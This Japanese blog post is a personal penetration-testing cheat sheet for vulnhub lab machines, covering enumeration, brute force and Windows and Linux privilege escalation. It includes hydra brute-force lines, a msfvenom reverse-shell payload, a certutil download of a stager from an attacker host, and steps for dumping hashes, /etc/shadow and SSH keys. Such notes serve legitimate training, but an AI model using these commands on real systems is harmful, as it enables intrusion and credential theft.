vulnhub 調査方針メモ
WindowsのPrivilegeEscalationと調査方針のメモです。
自分用のチートシートも兼ねているので、見にくかったり適当なのはご容赦ください。
Linux のPrivilege EscalationとInformationGatheringは以下に雑にまとめています。
7万字を超えたあたりからレスポンスが遅くなって編集しづらいので分割しました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたWindowsPEは以下を参照してください。
調査の順番
Information Gathering
scan
- portの正確なEnum(tcp,udp)
- 各portで動いているサービスのバージョンの特定(可能であれば)
見たことなければ参照。あっても参照した方がいいかも。
sushant747.gitbooks.io - Webserverのバージョン特定
- Web Applicationの特定
python3 autorecon.py 192.168.56.5
とりあえずAutoReconを実行しておく
ただしnmapやniktoを使うので出力に時間がかかる
AutoRecon
のUDPスキャン
も確認する
_quick_tcp_nmap.txt
がhost downになっていると失敗しているので、AutoReconを再度やり直す。
nmap -vv --reason -Pn -sV -sC --version-all 10.11.1.1
を実行している。(1000portをdefault categoryでScan)bash onetwopunch.sh -t target.txt -p tcp -i tap0
nmapに比べて圧倒的に早いbash onetwopunch.sh -t target.txt -p udp -i tap0
UDPでも行うnmap 192.168.56.5 --top-ports 10 -open
情報は少ないが、一瞬で列挙できる.
ftp, ssh, telnet, smtp, http, POP3, netbios-ssn, https, microsoft-ds, ms-wbt-server
を確認。
nmap 192.168.56.5 --top-ports 100 -open
も実行。
nmap -p- -sV -sT -A 192.168.56.13
-p-
をすると時間がかかるが、AutoReconで漏れがあることが稀にあるので実行しておく。
ポートスキャンでは絶対にEnum漏れはダメなのでnmap以外でも試したり、二重に確認するnikto -h 192.168.56.5
時間がかかるためとりあえず早めに実行しておくgobuster -u http://192.168.56.5/ -w /usr/share/dirb/wordlists/big.txt -s '200,204,301,302,307,403,500' -e
dirb
やwfuzz
よりも速い
ディレクトリが見つかれば再度その中でgobuster
-k
オプションでhttps
のinvalid certificate
のerrorを回避。curl -v 192.168.56.5
ヘッダの情報などを確認curl 192.168.56.5 -s -L | html2text
レンダリングenum4linux -a 10.11.1.1
AutoReconでも実行するが出力内容が違うことがある(??)ので手動でも実行。
Sambaのバージョンが特定できていない場合はsmbver.sh
やuse auxiliary/scanner/smb/smb_version
を使用。
bash smbver.sh 10.11.1.1 139
python3 parsero.py -u 192.168.56.5
robots.txt
に書かれているDisallowの場所を調べる
- portの正確なEnum(tcp,udp)
user,password listの作成
列挙した情報から得られたユーザー名などをメモする
マシンのホスト名もWordlistに加える。- portの詳細な調査
あやしいものなどはtodoやMemoとして追加していく
上に行くほど優先度が高くなるように順次入れ替えなどを行う
各ポートの詳しい調査は以下を参照。
github.com
80 port (30分)
- Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
- Sorce codeを読んでApplicationやCMSの特定
- AddOnやModuleの確認
- Install.txtなどの設定やVersionが読み取れるファイルにアクセスできるか確認
- LoginでデフォルトLogin、SQLInjetionできるか確認
nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" 10.11.1.0
AutoReconが列挙漏れした場合、Nmapは手動で行わないといけない。- その他の挙動など
そのほかのポートも時間を決めて調査する。Exploitはまだ探さない(すべてを列挙する必要がある)
- Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
110(POP)
- Banner の取得
これ結構大事(な気がする)
そのポートの挙動を大体把握する必要がある
telnet 192.168.56.5 110
telnetでUSER PASSなどでログインできるのかなど
- NSE script
- Metasploit
- other tools
- Banner の取得
- **22(ssh)
- Bannerの取得
password認証?公開鍵認証?既知のFingerprint?
- Bannerの取得
- 139/445(smb)
OSのバージョン、Sambaのバージョンの両方の特定
- exploitの検索
Google
大事searchsploit aaaa | grep -vi 'dos' | grep -vi 'windows'
今まで得られた情報(ポートで動いているSoftwareのバージョンなど)の中のあり得るすべてのExploitを探して、その中から明らかにExploitが存在しないものを除外していく。
Exploit
- 目標
IGで見つけたexploitを試してみる
優先度が高いものから順に30~90分の時間で動くかどうか確認する。
動かす前に必ずどういうExploitか確認。
対象のOSは?? remote/local/dos ?? unix/linux/windows ??
自分で書いていないコードを読んでいるとき、すべての行にコメントを追加すると理解しやすい
それっぽい脆弱性が見つかれば、nmap
のScriptを使って確認するの良さそう
Reverse shell payloadを試す前に、Payloadが実行できるのかどうかを確認する(payloadが違うのかFirewallがあるのかなどの原因を特定しやすくする)
windows用のバイナリをクロスコンパイルするときは、
i686-w64-mingw32-gcc test.cpp -o test.exe -lws2_32
-lws2_32
でWindowsでソケット通信を行うのに必要なライブラリを指定してコンパイル。
wine test.exe
で実行する。wordlistの作成
cewl -w wordlist http://192.168.136.212:1898/?q=node/1
book.hacktricks.xyz
- ssh Brute force
hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
hydra -e nsr -L user -t 4 192.168.56.16 ssh
hydra -L user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
- rdp Brute force
ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
Windowsの場合
privilege escalation
Information Gathering(Enum)
- powerless.bat
accesschk.exe
をアップロードしてから実行するとよい - Sherlock.ps1
- Session Gopher.ps1
- JAWS
- WindowsEnum.ps1
- PowerUp.ps1
- beRoot
- windows-privesc-check2.exe
- windows-exploit-suggester.py
- Find-PathDLLHijack.ps1
- Seatbelt.exe
- SharpUp.exe
- Metasploit
use post/multi/recon/local_exploit_suggester
exploit/windows/local/service_permissions
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.11.0.1 set lport 4444
- Manual
systeminfo
net user
net user john
net localgroup
net localgroup administrators
accesschk.exe -ucqv wampapache
Serviceのレジストリキーへの権限を確認。sc qc upnphost
Serviceのレジストリキーの値を確認。
SERVICE_START_NAME
でサービスがどの権限で起動しているかわかる(??)sc sdshow wampapache
Serviceに対する権限(WP:停止,RP:起動)を確認。autorunsc.exe -a | findstr /n /R "File\ not\ found"
自動起動するようなサービスで、その実行ファイルが存在しないようなサービスがないか確認。
これらのツールを使ってまずは以下をざっくりと調べる
深追いはしない。怪しければTodoに優先度順に追加していく
- Powershellが使える場合(Windows 7 / Windows Server 2008 R2 以降)
Empireは実行が遅いやつがあるので、あらかじめ決めておいたScriptのみ実行。あとはExeをUploadするために使う。
certutil.exe -urlcache -split -f "http://10.11.0.11/exploit/windows/launcher.bat" launcher.bat
でStagerをUploadして実行。
spawn lister名
で一つのSessionは残しておく(実行中にSessionが切れたら嫌なので)。
upload /var/www/html/priv/windows/Accesschk/accesschk.exe
upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
で調査に必要なバイナリをUploadしておく。
upload /var/www/html/exploit/windows/reverse-4445.exe
で、meterpreter
を使いたいならUploadして実行する。 - Powershellが使えない場合
tftp
などを使うことになる。
以下から紹介するツールのPSスクリプトが実行できないので、足りない場所は手動で補う。
system
powerless.bat
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)------- ----- Architecture -------
echo %PROCESSOR_ARCHITECTURE%
OSの名前やバージョンやx86かx64か。
powerless.bat
やJAWS
, systeminfo
,Seatbelt.exe
で調べる
XP SP1
ならupnphost
のBINARY_PATHを書き換えられる脆弱性がある可能性
Windows Vista / 7/8
ならIKEEXT
などの存在しないDLLを読み込もうとする脆弱性の可能性
Users
powerless.bat
の
------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) ------- USER INFORMATION ---------------- GROUP INFORMATION ----------------- --- All users, accounts and groups --- ------- Administrators --------
jaws
の
----------------------------------------------------------- Users -----------------------------------------------------------
Seatbelt.exe
,JAWS
などで調べる
net user
,net localgroup
,net localgroup "Remote Desktop Users"
自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認
Network
powerless.bat
の
------- Network shares ------- ------- Firewall ------ ------ Network information ------ ------- Current connections and listening ports -------
Privilege
powerless.bat
の
PRIVILEGES INFORMATION ----------------------
powerless.bat
,SharpUp.ps1
,Seatbelt.exe
などで注目すべき権限を持っているかどうか確認
SeImpersonatePrivilege
を持っていてx64の場合、Juicy Potatoが有効
環境変数のチェック
powerless.bat
の
------- Environment Variables -------
Seatbelt.exe
などで確認
PATHに書き込みができる場合は、DLLHijackやフルパスでないコマンドの実行などいろいろ悪用できるためチェックしておく
Find-PathDLLHijack
を使っても確認できる
Process
jaws
の
----------------------------------------------------------- Processes -----------------------------------------------------------
JAWS
,Seatbelt.exe
で確認
手動では
tasklist /v /fi "username eq system" tasklist /v
Services
powerless.bat
の
------- Services Currently Running (check for Windows Defender or Anti-virus) ---------
JAWS
,Seatbelt.exe
で確認
手動では、
tasklist /SVC wmic service list brief net start
Sceduled Tasks
powerless.bat
の
------- Scheduled Tasks Names Only -------
jaws
の
----------------------------------------------------------- Scheduled Tasks -----------------------------------------------------------
JAWS
で確認
SYSTEMで実行されて、上書き可能なものを探す。
手動では、
schtasks /query /fo LIST /v
writiable
file/Directory
powerless.bat
の
--- Program Files and User Directories where everybody (or users) have full or modify permissions ---
jaws
の
----------------------------------------------------------- Files with Full Control and Modify Access ----------------------------------------------------------- ----------------------------------------------------------- Folders with Full Control and Modify Access ----------------------------------------------------------- ----------------------------------------------------------- Potentially Interesting Files in Users Directory -----------------------------------------------------------
beRoot
,powerless.bat
,PowerUp.ps1のInvoke-AllChecks
,SharpUp.exe
SharpUp.exe
でPATH変数
に含まれるディレクトリに書き込めるかも確認
できるならDLLHijackの可能性が残る
Service
powerless.bat
の
--------------- AccessChk (checks permissions for Authenticated Users, Everyone, and Users)------------------ --- Accesschk World writeable folders and files ---- --- Accesschk services with weak permissions --- --- Accesschk services that we can change registry values for (such as ImagePath) ---
PowerUp
の
[*] Checking service executable and argument permissions... [*] Checking service permissions... [*] Checking %PATH% for potentially hijackable DLL locations... [*] Checking for modifidable registry autoruns and configs... [*] Checking for modifiable schtask files/configs...
windows-priv-check
の
------------------------------------------------------------------ Title: DLLs Used by Running Processes Can Be Modified On Disk ------------------------------------------------------------------ Title: Windows Service Executable Is Missing
SharpUp.exe
accesschk.exe -ucqv wampapache
Get-Acl -Path HKLM:\System\CurrentControlSet\Services\regsvc
**Process**,**Services**で、SYSTEMなどの昇格できるユーザーで動作しているサービスに対しては価値があるので書き込みができるかどうか確認
それ以外の低権限のサービスは見ない
`RW`が**NT AUTHORITY\Authenticated Users**などに与えられているか確認
また、レジストリキーが書き込み可能なら、`ImagePath`などを書き換えることができる
unquoted file path
powerless.bat
の
---Unquoted Service Paths (requires that the directory from which this script is run is user writeable. If it is not, you can use the WMIC command below) ---
JAWS
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
引用符で囲まれていないかつ、PATHに空白を含む場合、PATHの途中にバイナリを設置してそれを実行させられる
AlwaysInstallElevated
powerless.bat
の
--- AlwaysInstallElevated Check ---
SharpUp.exe
で1
かどうか確認
Get System
beRoot
,Get-System -Technique NamedPipe
で確認
Credential
- stored credentials
powerless.bat
の-- Stored Passwords -- -- Checking for any accessible SAM or SYSTEM files -- --- Searching Registry for Passwords ---
cmdkey /list
powerless.bat
の---Search for Configuration and sensitive files--- -- Broad search for config files -- --- Broad search for any possible config files which may contain passwords ---手動では、
dir /s /b /a C:\ | findstr /i 'pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml' dir /s /b /a C:\ | findstr /i "pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml
powerup
の[*] Checking for unattended install files...
SharpUp.exe
で確認type C:\Windows\system32\sysprep.inf
type C:\Windows\system32\sysprep\sysprep.xml
where C:\sysprep.inf
where C:\sysprep\sysprep.xml
where %WINDIR%\Panther\Unattended.xml
where %WINDIR%\Panther\Unattend\Unattended.xml
`Seatbelt.exe`,`Session Gopher`
- Web root
C:\wamp\www\PHP>type config.php
- Others
----------------------------------------------------------- System Files with Passwords -----------------------------------------------------------`PowerUp`の
[*] Checking for encrypted web.config strings... [*] Checking for encrypted application pool and virtual directory passwords... [*] Checking for plaintext passwords in McAfee SiteList.xml files.... [*] Checking for cached Group Policy Preferences .xml files....
Sealbelt.exe
で確認type wampmanager.ini | find /I "password"
where Services.xml
where ScheduledTasks.xml
where Printers.xml
where Drivers.xml
where DataSources.xml
C:\Devtools
のような開発者のコメントが見込める場所
`.ini`,`.config`,`.xml`,`.txt`などのファイルを見るC:\Windows\System32>dir /s *pass* == *cred* == *vnc* == *.config*
C:\Windows\System32>findstr /si password *.xml *.ini *.txt
C:\Windows\System32>reg query HKLM /f password /t REG_SZ /s
これらは後回しにして後でじっくり見た方がよさそう
効果的な見方(目星の付け方など)はよくわからない
ざっと見て特になかったら後回しにしてもよさそう
Kernel Exploit
python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
この中からPEできそうなExploitを選ぶ
Patch未適応なものをEnumしてるだけなので、PEとは無関係なExploitもあるため見極める(todo)searchsploit windows microsoft privilege escalation | grep -vi 'dos' | grep local | grep -vi 'x86-64' | grep '\ 7\ '
実行する際に以下を参考にする
github.comuse post/multi/recon/local_exploit_suggester
metasploitを使えばExploitの実行にほぼ時間はかからないので、ちゃっちゃとやるのもありといえばあり(?)Google
ググるのも大事
以下にいろんなコンパイル済みのバイナリがある。
ありがてえ……!!!
github.com
Drivers
DRIVERQUERY
量が多すぎるので後回し
Programs
powerless.bat
の
-------- Exploring program directories and C:\ --------- --- Program Files --- --- Program Files (x86) --- --- Root of C:\ ----
jaws
の
----------------------------------------------------------- Installed Programs -----------------------------------------------------------
windows-priv-checks
の
------------------------------------------------------------------ Title: Vulnerable Software Version Installed
powerless.bat
,JAWS
で確認
TODO
その他
怪しいファイルに読み込み権限しかない場合、コピーしてradare2
などで解析して、フルパスではなく呼び出されているようなコマンドなどを調べる。
その場合、PATH変数のディレクトリに書き込むことで任意の実行ファイルを実行させる
これらを見ても見つからない場合、以下を参照していく
post exploit
- Pass the Hash
- fgdump.exe
- wce
use post/windows/gather/hashdump
todo
- fgdump.exe
Linuxの場合
privilege escalation
Information Gathering(Enum)
情報収集
- LinEnum.sh
- linuxprivchecker.py
- suid3num.py
- linpeas.sh
- lse.sh
- uptux.py
これらのツールを使ってまずは以下をざっくりと調べる
深追いはしない。怪しければTodoに優先度順に追加していく - system
linpeas.sh
Kernel versionなど
3.3.0
などの低い状態であればKernel Exploitが期待できる - Users
linpeas.sh
userからデフォルトではないユーザー名、その権限で動くSoftwareがわかる
/etc/passwd
,/etc/profile
などのユーザー名やクレデンシャルをWordlistに追加する - cron
linpeas.sh
- network
linpeas.sh
,linEnum.sh
iptables -L
などでFirewallによって外部からは見えないようなサービスが動いていないか確認(mysqlなど) - process
linpeas.sh
,LinEnum.sh
怪しい場所(/opt/など)で動作しているプロセスがないか確認 - SUID/SGID
linpeas.sh
,suid3num.py
Defaultでビットが立っていない実行ファイルなどを確認 - Software
linpeas.sh
で入っているサービスを確認できる - sudo/mysql version
これらのバージョンを確認 - config files
LinEnum.sh
設定ファイル(sshd_confなど)を確認する
find -iname '*config*'
などで/var/www/html
やその他のSoftwareの設定ファイルを探す
クレデンシャルが書いてあることもある
cat /etc/ssh/sshd_config
PasswordAuthentication
PermitRootLogin
RSAAuthentication
PubKeyAuthentication
AuthorizedKeysFile
等を確認してパスワードBruteForceができるのか確認。
秘密鍵がないかどうか確認
- writable files/directories
linpeas.sh
root
が所有者でその他が書き込める実行ファイルがないかどうか確認 credential/password
linpeas.sh
find . | xargs grep "password"
などで探す
Web rootやその他のSoftwareがある場所で行うfind -iname '*config*'
cat /etc/passwd
grep -vE "nologin|false" /etc/passwd
mysql -h 127.0.0.1 -u root -p
databaseから得られたハッシュをjohn
などでクラック
cewl
で得られたWordlistでもクラックする
/opt, /var, /home/user, /usr/src, /usr/local/src, /mediaを確認
これらの場所でSoftwareが動いていないかなど確認- sudo -l / su
自分がsudo
できるのかどうかは絶対に確認
得られたクレデンシャルでsu
でほかのユーザーに昇格できるか試す
他のユーザーならsudo
できる可能性は高い
- LinEnum.sh
Enum Kernel Exploit
- kernelpop
- linux-exploit-suggester.sh
- Linux_Exploit_Suggester.pl
- linux-exploit-suggester-2.pl
- BeRoot
- auto_priv_exploit.sh
これはKernelバージョンと調べて、Kaliで動かす
github.com
- searchsploit
searchsploit kernel local privilege escalation linux | grep -vi 'x86-64' | grep -i '\ 3.' | grep -vi '<\ 3.1'
- Google
これらの中から最も動きそうなものを2~3個までなら試す。
深追いしない
対象上でコンパイルする方がよい。
実行する時、Shellはできるだけ良いものがよい
- kernelpop
Exploit
得られたクレデンシャルで別のユーザーとしてログイン試行
hydra -l root -P wordlist.txt -t 4 192.168.56.16 ssh
コマンドの悪用
sudo -l
gtfobins.github.io
SUID, SGIDが立っている怪しい実行ファイルはExploitを確認
Exploit Software
Linpeas.sh
[Services]にあるサービスのバージョンを確認するps -aux
- /var/
- /opt/
- /usr/src/
- /usr/local/src
- /home/user/
- /media/
など変な場所にInstallされているソフトは怪しい
- /var/
cat /etc/passwd
UIDが1000以上のユーザーが登録されている場合、そのユーザーで動作するソフトがInstallされているかもで怪しいnetstat -antup
Firewallによって外部からは見えないようなソフトが動いていないかどうか確認dpkg -l
rpm -qa
- Exploit Kernel
上記のツールで得られたExploitを試す
searchsploit
も試す
post exploit
ifconfig
IPやNICをほかにもっていないかを見て、他のNetworkにつながっていないかどうか確認/.ssh/id_rsa
秘密鍵があればコピーしておく
別のマシンにこの秘密鍵を使って公開鍵認証でSSHログインできるかもcat /etc/shadow
/etc/passwd
と/etc/shadow
はコピーしてクラックしておく
同じPasswordが別のマシンで使われているかも/tmp/krb5*
Kerberosチケットの取得。/home/*/.gnupg/secring.gpgs
PGP Keyの取得。
最後に
参考になれば幸いです。
この記事はどんどんアップデートして付け足していくので、時間がたったら内容がだいぶ変わってると思います。
なんかアドバイスとかあればぜひ!